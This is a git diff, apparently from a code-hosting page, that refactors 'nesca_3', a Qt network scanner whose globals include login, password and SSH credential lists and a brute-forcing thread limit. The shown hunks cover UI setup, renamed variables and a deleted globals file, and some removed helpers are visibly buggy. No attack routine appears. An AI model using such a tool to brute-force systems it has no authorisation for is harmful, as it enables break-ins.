|
||||
std::thread fuThread(FileDownloader::checkWebFiles);
|
||||
fuThread.detach();
|
||||
|
||||
_startVerCheck();
|
||||
_startMsgCheck();
|
||||
qrp.setMinimal(true);
|
||||
drawVerboseArcs(0);
|
||||
}
|
||||
|
||||
void nesca_3::mousePressEvent(QMouseEvent *event)
|
||||
{
|
||||
if (event->button() == Qt::LeftButton) {
|
||||
@ -2783,7 +2679,6 @@ void nesca_3::mousePressEvent(QMouseEvent *event)
|
||||
void nesca_3::mouseReleaseEvent(QMouseEvent * event)
|
||||
{
|
||||
if (event->modifiers() == Qt::ControlModifier) {
|
||||
privateMsgFlag = false;
|
||||
event->accept();
|
||||
};
|
||||
}
|
||||
@ -2798,7 +2693,7 @@ void nesca_3::mouseMoveEvent(QMouseEvent * event)
|
||||
void nesca_3::exitButtonClicked()
|
||||
{
|
||||
STTTerminate();
|
||||
while (__savingBackUpFile) Sleep(100);
|
||||
while (MainStarter::savingBackUpFile) Sleep(100);
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
WSACleanup();
|
||||
#endif
|
||||
@ -2994,7 +2889,7 @@ void nesca_3::PingTO_ChangeValue(QString str)
|
||||
|
||||
void nesca_3::ThreadDelay_ChangeValue(QString str)
|
||||
{
|
||||
gThreadDelay = str.toInt();
|
||||
Threader::gThreadDelay = str.toInt();
|
||||
}
|
||||
|
||||
void nesca_3::MaxBrutingThr_ChangeValue(QString str)
|
||||
@ -3091,6 +2986,78 @@ QString GetColorCode(int mode, QString str)
|
||||
return result;
|
||||
}
|
||||
|
||||
nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent)
|
||||
{
|
||||
setWindowFlags(Qt::FramelessWindowHint);
|
||||
|
||||
gthis = this;
|
||||
ui->setupUi(this);
|
||||
setSomeStyleArea();
|
||||
ui->dataText->setOpenExternalLinks(true);
|
||||
ui->dataText->setOpenLinks(false);
|
||||
ui->rVerLabel->hide();
|
||||
setSceneArea();
|
||||
|
||||
dots << 0.5 << 0.3 << 0.5 << 0.3;
|
||||
dotsThreads << 0.1 << 0.2 << 0.1 << 0.2;
|
||||
penAllThreads.setCapStyle(Qt::FlatCap);
|
||||
penAllThreads.setDashPattern(dotsThreads);
|
||||
penThreads.setCapStyle(Qt::FlatCap);
|
||||
penThreads.setDashPattern(dotsThreads);
|
||||
penBAThreads.setDashPattern(dots);
|
||||
penBAThreads.setCapStyle(Qt::FlatCap);
|
||||
penAllTargets.setCapStyle(Qt::FlatCap);
|
||||
penTargets.setCapStyle(Qt::FlatCap);
|
||||
penSaved.setCapStyle(Qt::FlatCap);
|
||||
|
||||
multiFontSmallFontPie.setFamily("small_fonts");
|
||||
multiFontSmallFontPie.setPixelSize(9);
|
||||
multiFontSmallFontArc.setFamily("small_fonts");
|
||||
multiFontSmallFontArc.setPixelSize(10);
|
||||
multiFontSmallFontArc.setUnderline(true);
|
||||
ui->ipLabel->setFont(multiFontSmallFontArc);
|
||||
|
||||
tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this);
|
||||
tray->hide();
|
||||
|
||||
SetValidators();
|
||||
ConnectEvrthng();
|
||||
|
||||
QTime time = QTime::currentTime();
|
||||
qsrand((uint)time.msec());
|
||||
|
||||
const std::string &gVERStr = GetVer();
|
||||
strcpy(gVER, gVERStr.c_str());
|
||||
ui->logoLabel->setToolTip("v3-" + QString(gVER));
|
||||
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
|
||||
CreateVerFile();
|
||||
RestoreSession();
|
||||
|
||||
dtHN->start();
|
||||
dtME2->start();
|
||||
adtHN->start();
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
WSADATA wsda;
|
||||
if (WSAStartup(0x0101, &wsda))
|
||||
{
|
||||
stt->doEmitionRedFoundData("WSAStartup failed.");
|
||||
qApp->quit();
|
||||
};
|
||||
#endif
|
||||
|
||||
|
||||
std::thread fuThread(FileDownloader::checkWebFiles);
|
||||
fuThread.detach();
|
||||
|
||||
_startVerCheck();
|
||||
_startMsgCheck();
|
||||
qrp.setMinimal(true);
|
||||
drawVerboseArcs(0);
|
||||
}
|
||||
|
||||
nesca_3::~nesca_3()
|
||||
{
|
||||
delete[] ui;
|
||||
|
16
nesca_3.h
16
nesca_3.h
@ -15,28 +15,19 @@
|
||||
#include <QSystemTrayIcon>
|
||||
#include <QtGui/qevent.h>
|
||||
#include <qthread.h>
|
||||
#include <qjsonobject.h>
|
||||
#include <qjsonvalue.h>
|
||||
#include <qjsonarray.h>
|
||||
#include <qtextcodec.h>
|
||||
#include <qjsondocument.h>
|
||||
#include <libssh/libssh.h>
|
||||
#include "mainResources.h"
|
||||
|
||||
extern Ui::nesca_3Class *ui;
|
||||
extern bool widgetIsHidden, blinkFlag, disableBlink, QOSWait,
|
||||
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag,
|
||||
smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter;
|
||||
extern bool widgetIsHidden, QOSWait,
|
||||
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
||||
smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1;
|
||||
extern float QoSStep;
|
||||
extern int MaxDataVal;
|
||||
extern SOCKET lSock;
|
||||
|
||||
extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst;
|
||||
extern QList<int> lstOfLabels;
|
||||
extern QSystemTrayIcon *tray;
|
||||
|
||||
extern void ShowMsgPopup(QString str);
|
||||
|
||||
class nesca_3 : public QMainWindow
|
||||
{
|
||||
Q_OBJECT
|
||||
@ -157,7 +148,6 @@ protected:
|
||||
}
|
||||
else if (evt->button() == Qt::RightButton)
|
||||
{
|
||||
disableBlink = true;
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
this->hide();
|
||||
};
|
||||
|
@ -1,135 +0,0 @@
|
||||
#include "STh.h"
|
||||
#include "mainResources.h"
|
||||
#include "externData.h"
|
||||
#include "externFunctions.h"
|
||||
|
||||
bool __savingBackUpFile = false;
|
||||
|
||||
int gThreadDelay = 10;
|
||||
int gC = 0;
|
||||
int gTimeOut = 3;
|
||||
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
|
||||
int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0;
|
||||
int GlobalNegativeSize = 0;
|
||||
int found = 0, indexIP = 0;
|
||||
int gMode;
|
||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
||||
int ipsstart[4], ipsend[4],
|
||||
overallPorts,
|
||||
octet[4];
|
||||
int baCount = 0;
|
||||
int gPingTimeout = 1;
|
||||
int gMaxBrutingThreads = 50;
|
||||
unsigned int Activity = 0;
|
||||
|
||||
double ips = 0;
|
||||
char **GlobalNegatives = 0;
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **sshlpLst;
|
||||
char saveEndIP[128] = { 0 };
|
||||
char gTLD[128] = { 0 };
|
||||
char gPorts[65536] = { 0 };
|
||||
|
||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||
char finalIP[32] = { 0 };
|
||||
|
||||
bool ErrLogFirstTime = true;
|
||||
bool gPingNScan = false;
|
||||
volatile int gThreads;
|
||||
volatile int cons = 0;
|
||||
volatile int BrutingThrds = 0;
|
||||
volatile int threads = 20;
|
||||
|
||||
unsigned char tl(unsigned char d)
|
||||
{
|
||||
if (d >= 192 && d <= 223)
|
||||
{
|
||||
return (unsigned char)(d + 32);
|
||||
}
|
||||
else
|
||||
{
|
||||
return tolower(d);
|
||||
};
|
||||
}
|
||||
|
||||
std::string toLowerStr(const char *str)
|
||||
{
|
||||
if (str != NULL) {
|
||||
int tsz = strlen(str);
|
||||
char *strr = new char[tsz + 1];
|
||||
ZeroMemory(strr, tsz);
|
||||
|
||||
for (int i = 0; i < tsz; i++)
|
||||
{
|
||||
strr[i] = tl(str[i]);
|
||||
};
|
||||
|
||||
memset(strr + tsz, '\0', 1);
|
||||
|
||||
std::string tstr = std::string(strr);
|
||||
delete[]strr;
|
||||
return tstr;
|
||||
}
|
||||
else return "";
|
||||
}
|
||||
|
||||
QString GetNSErrorDefinition(const char *str, const char *elem)
|
||||
{
|
||||
const char *temp = strstr(str, elem);
|
||||
|
||||
if (temp != NULL)
|
||||
{
|
||||
char definition[128] = { 0 };
|
||||
const char *firstComma = strstr(temp + strlen(elem) + 1, "\"");
|
||||
const char *lastComma = strstr(firstComma + 1, "\"");
|
||||
|
||||
int sz = lastComma - firstComma - 1;
|
||||
|
||||
strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128));
|
||||
|
||||
return QString(definition);
|
||||
}
|
||||
else return QString("No definition found!");
|
||||
}
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
unsigned char* ASCIItoUNICODE(unsigned char ch)
|
||||
{
|
||||
unsigned char Val[2];
|
||||
if ((ch < 192) && (ch != 168) && (ch != 184)) { Val[0] = 0; Val[1] = ch; return Val; }
|
||||
if (ch == 168) { Val[0] = 208; Val[1] = 129; return Val; }
|
||||
if (ch == 184) { Val[0] = 209; Val[1] = 145; return Val; }
|
||||
if (ch < 240) { Val[0] = 208; Val[1] = ch - 48; return Val; }
|
||||
if (ch < 249) { Val[0] = 209; Val[1] = ch - 112; return Val; }
|
||||
}
|
||||
#endif
|
||||
|
||||
std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) {
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0);
|
||||
LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)];
|
||||
MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize);
|
||||
int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0);
|
||||
char * buf = (char *)new char[size];
|
||||
WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0);
|
||||
delete wbuf;
|
||||
|
||||
res.append(buf);
|
||||
delete buf;
|
||||
#else
|
||||
unsigned int size = 0;
|
||||
while (src[size++]!=0);
|
||||
char * buf = (char *)new char[size];
|
||||
unsigned char uni[16] = {0};
|
||||
|
||||
size=0;
|
||||
while (src[size]!=0)
|
||||
{
|
||||
|
||||
};
|
||||
delete buf;
|
||||
#endif
|
||||
return res;
|
||||
}
|
@ -14,7 +14,7 @@ void PieStat::run()
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
baCount = 0;
|
||||
Filt = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
Alive = 0;
|
||||
|
@ -15,7 +15,7 @@ void _checkVer()
|
||||
char *ptr1 = NULL;
|
||||
if(buffer.size() > 0)
|
||||
{
|
||||
if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1)
|
||||
if(Utils::ustrstr(buffer, std::string("\r\n\r\n")) != -1)
|
||||
{
|
||||
ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
|
||||
if(strcmp(gVER, ptr1 + 4) != 0)
|
||||
|
Loading…
Reference in New Issue
Block a user